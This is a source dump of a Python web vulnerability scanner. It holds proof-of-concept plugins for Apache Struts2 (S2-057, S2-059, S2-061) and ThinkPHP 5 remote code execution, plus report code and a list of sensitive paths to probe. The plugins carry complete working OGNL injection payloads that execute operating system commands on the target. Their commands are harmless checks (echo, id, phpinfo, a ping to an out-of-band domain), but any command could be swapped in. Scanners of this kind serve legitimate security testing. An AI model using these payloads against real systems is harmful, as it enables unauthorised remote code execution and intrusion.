#!/usr/bin/python 2 | # coding=utf-8 3 | ''' 4 | Date: 2022-03-22 10:33:13 5 | LastEditors: recar 6 | LastEditTime: 2022-03-24 11:46:14 7 | ''' 8 | 9 | from plugins.poc.base import PocBase 10 | from http import client 11 | # 这里需要设置http为1.0 才能成功 12 | client.HTTPConnection._http_vsn=10 13 | client.HTTPConnection._http_vsn_str='HTTP/1.0' 14 | 15 | class Poc(PocBase): 16 | def __init__(self): 17 | super(PocBase, self).__init__() 18 | self.name = "Struts2 S2-057 远程命令执行漏洞" 19 | self.cve = "CVE-2018-11776" 20 | self.author = "Recar" 21 | self.desc = """当Struts2的配置满足以下条件时: 22 | alwaysSelectFullNamespace值为true 23 | action元素未设置namespace属性,或使用了通配符 24 | namespace将由用户从uri传入,并作为OGNL表达式计算,最终造成任意命令执行漏洞。 25 | 26 | 影响版本: 小于等于 Struts 2.3.34 与 Struts 2.5.16""" 27 | self.fingerprint = "struts2" 28 | 29 | def verify(self): 30 | self.flag = self.gen_random_str() 31 | origin_url = self.url_info.get('origin_url') 32 | suffix = origin_url.split('/')[-1] 33 | headers = { 34 | 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36', 35 | 'Accept': '*/*' 36 | } 37 | cmd = "echo "+self.flag 38 | payload = """%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23cmd%3D%27"""+cmd+"""%27%29.%28%23iswin%3D%28@java.lang.System@getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%29.%28@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D""" 39 | url = "{0}/{1}/{2}".format(self.base_url, payload, suffix) 40 | self.logger.debug(url) 41 | response = self.request(url) 42 | if self.flag in response.text and response.status_code == 200: 43 | return True, url 44 | return False, None 45 | -------------------------------------------------------------------------------- /plugins/poc/pocs/struts2/s2_059.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # coding=utf-8 3 | ''' 4 | Date: 2022-03-22 10:33:13 5 | LastEditors: recar 6 | LastEditTime: 2022-03-24 14:23:42 7 | ''' 8 | 9 | from plugins.poc.base import PocBase 10 | from lib.reverse import Reverse 11 | 12 | 13 | class Poc(PocBase): 14 | def __init__(self): 15 | super(PocBase, self).__init__() 16 | self.name = "Struts2 S2-059 远程代码执行漏洞" 17 | self.cve = "CVE-2019-0230" 18 | self.author = "Recar" 19 | self.desc = "Apache Struts框架, 会对某些特定的标签的属性值,比如id属性进行二次解析,所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式,造成OGNL表达式注入。从而可能造成远程执行代码。" 20 | self.fingerprint = "struts2" 21 | 22 | def setup(self): 23 | data = { 24 | "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" 25 | } 26 | self.request(self.base_url, 'POST' ,data=data) 27 | 28 | def verify(self): 29 | self.reverse = Reverse() 30 | cmd = "ping -c 10 {0}".format(self.reverse.domain) 31 | data = { 32 | "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('"+cmd+"'))}" 33 | } 34 | self.request(self.base_url, 'POST' ,data=data) 35 | if self.reverse.verify(): 36 | return True, data 37 | return False, None 38 | 39 | -------------------------------------------------------------------------------- /plugins/poc/pocs/struts2/s2_061.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # coding=utf-8 3 | ''' 4 | Date: 2022-03-21 18:38:53 5 | LastEditors: recar 6 | LastEditTime: 2022-03-24 11:47:32 7 | ''' 8 | 9 | from plugins.poc.base import PocBase 10 | 11 | 12 | class Poc(PocBase): 13 | def __init__(self): 14 | super(PocBase, self).__init__() 15 | self.name = "Struts2 S2-061 远程命令执行漏洞" 16 | self.cve = "CVE-2020-17530" 17 | self.author = "Recar" 18 | self.desc = "S2-061是对S2-059的绕过,Struts2官方对S2-059的修复方式是加强OGNL表达式沙盒,而S2-061绕过了该沙盒。该漏洞影响版本范围是Struts 2.0.0到Struts 2.5.25" 19 | self.fingerprint = "struts2" 20 | 21 | def verify(self): 22 | cmd = "id" 23 | payload="%25%7b(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application%5b%27org.apache.tomcat.InstanceManager%27%5d).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr%5b%27struts.valueStack%27%5d).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d%7b%27"+cmd+"%27%7d).(%23res%3d%23exec.exec(%23cmd))%7d" 24 | url=self.base_url+"/?id="+payload 25 | response = self.request(url) 26 | if "uid=0(root) gid=0(root) groups=0(root)" in response.text: 27 | return True, url 28 | return False, None 29 | 30 | -------------------------------------------------------------------------------- /plugins/poc/pocs/thinkphp/ThinkPHP5_5_0_22.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # coding=utf-8 3 | ''' 4 | Date: 2022-03-21 16:15:34 5 | LastEditors: recar 6 | LastEditTime: 2022-03-24 11:48:08 7 | ''' 8 | from plugins.poc.base import PocBase 9 | 10 | 11 | class Poc(PocBase): 12 | def __init__(self): 13 | super(PocBase, self).__init__() 14 | self.name = "ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞" 15 | self.cve = "" 16 | self.author = "Recar" 17 | self.desc = "ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。" 18 | self.fingerprint = "thinkphp" 19 | 20 | def verify(self): 21 | url_path = r"/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1" 22 | # 这里需要返回 response 23 | url = f"{self.base_url}{url_path}" 24 | response = self.request(url) 25 | if "phpinfo()" in response.text: 26 | return True, url 27 | return False, None 28 | 29 | 30 | -------------------------------------------------------------------------------- /plugins/report.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # coding=utf-8 3 | ''' 4 | Date: 2022-01-12 11:56:52 5 | LastEditors: Recar 6 | LastEditTime: 2022-02-10 21:56:10 7 | ''' 8 | 9 | from lib.work import Worker, ResultInfo 10 | from lib.log import logger 11 | from lib.utils import Utils 12 | from jinja2 import Environment, FileSystemLoader 13 | import os 14 | 15 | 16 | class Report(object): 17 | def __init__(self): 18 | self.logger = logger 19 | self.base_path = os.path.dirname(os.path.abspath(__file__)) 20 | self.output_path = os.path.join(self.base_path,"../", "output") 21 | self.output_report_path = os.path.join(self.output_path, "{0}_report.html".format(Utils.gen_current_time_str())) 22 | report_template_dir = os.path.join(self.base_path,"../", "config") 23 | # init result 24 | self.result_list = list() 25 | # init report template 26 | env = Environment(loader=FileSystemLoader(report_template_dir)) 27 | self.report_template = env.get_template('report_template.html') 28 | 29 | # init output 30 | if not os.path.exists(self.output_path): 31 | os.mkdir(self.output_path) 32 | # work 33 | def consumer(result_info): 34 | self.result_list.append(result_info) 35 | report_content = self.report_template.render(items=self.result_list) 36 | with open(self.output_report_path, "w") as f: 37 | f.write(report_content) 38 | self.logger.debug("gen report by: {0}".format(result_info.plugins)) 39 | 40 | self.report_work = Worker(consumer, consumer_count=1) 41 | -------------------------------------------------------------------------------- /plugins/scan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # coding=utf-8 3 | ''' 4 | Date: 2022-01-12 10:07:56 5 | LastEditors: recar 6 | LastEditTime: 2022-04-07 18:08:27 7 | ''' 8 | from lib.log import logger 9 | from lib.utils import Utils 10 | from lib.work import ResultInfo 11 | from lib.rate import rate_request 12 | import json 13 | import os 14 | 15 | 16 | class Base(object): 17 | def __init__(self, report_work): 18 | self.base_path = os.path.dirname(os.path.abspath(__file__)) 19 | self.logger = logger 20 | self.report_work = report_work 21 | self.utils = Utils 22 | self.request = rate_request 23 | 24 | def print_result(self, result): 25 | self.logger.info("[+] : {0}".format(result.get('plugins'))) 26 | self.logger.info(json.dumps(result, sort_keys=True, indent=4, separators=(',', ':'), ensure_ascii=False)) 27 | 28 | def to_result(self, result): 29 | plugins = result.get("plugins", "") 30 | url = result.get("url", "") 31 | payload = result.get("payload", "") 32 | # 对payload如果是list的结果就很多换行处理 33 | if type(payload)==list: 34 | payload = "
".join(payload) 35 | req = result.get("req", "") 36 | rsp = result.get("rsp", "") 37 | desc = result.get("desc", "") 38 | result_info = ResultInfo(plugins, url, payload, req, rsp, desc) 39 | self.report_work.put(result_info) 40 | 41 | -------------------------------------------------------------------------------- /plugins/sensitive_info/sensitive_info.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # coding=utf-8 3 | ''' 4 | Date: 2022-01-11 18:16:18 5 | LastEditors: recar 6 | LastEditTime: 2022-04-07 18:09:37 7 | ''' 8 | from plugins.scan import Base 9 | from lib.work import Worker, WorkData 10 | import os 11 | 12 | 13 | class SensitiveInfo(Base): 14 | def __init__(self, report_work, block=True): 15 | super(SensitiveInfo, self).__init__(report_work) 16 | self.plugins = "sensitive_info" 17 | self.block = block 18 | self.base_path = os.path.dirname(os.path.abspath(__file__)) 19 | self.seninfo_dict = dict() 20 | self._load_dict() 21 | 22 | def _load_dict(self): 23 | dict_path = os.path.join(self.base_path,"sensitive_info.txt") 24 | with open(dict_path, "r") as f: 25 | for line in f: 26 | # 排除注释 27 | line = line.strip().replace('"',"") 28 | if "#" in line: 29 | continue 30 | if not line: 31 | continue 32 | path = line.split(" ")[0] 33 | condition_list = line.split(" ")[1].split(" ") 34 | condition_dict = dict() 35 | for condition in condition_list: 36 | if not condition: 37 | continue 38 | condition = condition.replace("{", "").replace("}", "") 39 | tag = condition.split("=")[0].strip() 40 | value = condition.split("=")[-1].strip() 41 | condition_dict[tag]=value 42 | self.seninfo_dict[path] = condition_dict 43 | self.logger.info("load sensitive_info count: {}".format(len(self.seninfo_dict))) 44 | 45 | def run(self, url_info, req, rsp): 46 | def consumer(work_data): 47 | url = work_data.url 48 | response = self.request(url, method="GET") 49 | if response is None: 50 | return 51 | condition_dict = work_data.condition 52 | for tag in condition_dict.keys(): 53 | if tag == "status": 54 | if str(response.status_code)!=str(condition_dict[tag]): 55 | return False 56 | elif tag == "type": 57 | if str(response.headers["content-type"])!=str(condition_dict[tag]): 58 | return False 59 | elif tag == "match": 60 | if str(condition_dict[tag]) not in response.text: 61 | return False 62 | result = { 63 | "plugins": self.plugins, 64 | "url": url, 65 | "payload": url, 66 | "desc": "敏感信息泄露", 67 | } 68 | self.print_result(result) 69 | self.to_result(result) 70 | self.seninfo_work = Worker(consumer, consumer_count=1, block=self.block) 71 | if url_info.get("type") != "dynamic": 72 | return 73 | url = url_info.get('base_url') 74 | if url[-1]=="/": 75 | url = url[:-1] 76 | for path in self.seninfo_dict.keys(): 77 | test_url = f"{url}{path}" 78 | work_data = WorkData() 79 | work_data.url = test_url 80 | self.logger.debug("senitive_info test url: {0}".format(test_url)) 81 | work_data.condition = self.seninfo_dict[path] 82 | self.seninfo_work.put(work_data) 83 | 84 | 85 | 86 | -------------------------------------------------------------------------------- /plugins/sensitive_info/sensitive_info.txt: -------------------------------------------------------------------------------- 1 | ## url 12空格{status=200}4空格{match="tag"} {type="content-type} 2 | # idea 3 | /.idea/workspace.xml {match="Solr Admin"} {status=200} {type="html"} 9 | /zabbix/ {match="Zabbix"} 10 | /resin-admin/ {status=200} {match="Resin Admin Login for"} 11 | 12 | # Spring Boot Actuator 13 | /configprops {status=200} {match="serverProperties"} 14 | /actuator/configprops {status=200} {match="serverProperties"} 15 | /env {status=200} {match="systemProperties"} 16 | # /autoconfig 17 | # /beans 18 | # /configprops 19 | # /dump 20 | # /health 21 | # /info 22 | # /mappings 23 | # /metrics 24 | # /trace 25 | 26 | # fastapi {status=200} {match="FastAPI"} 27 | 28 | # php 29 | /index.php.bak {status=206} {type="application/"} {match="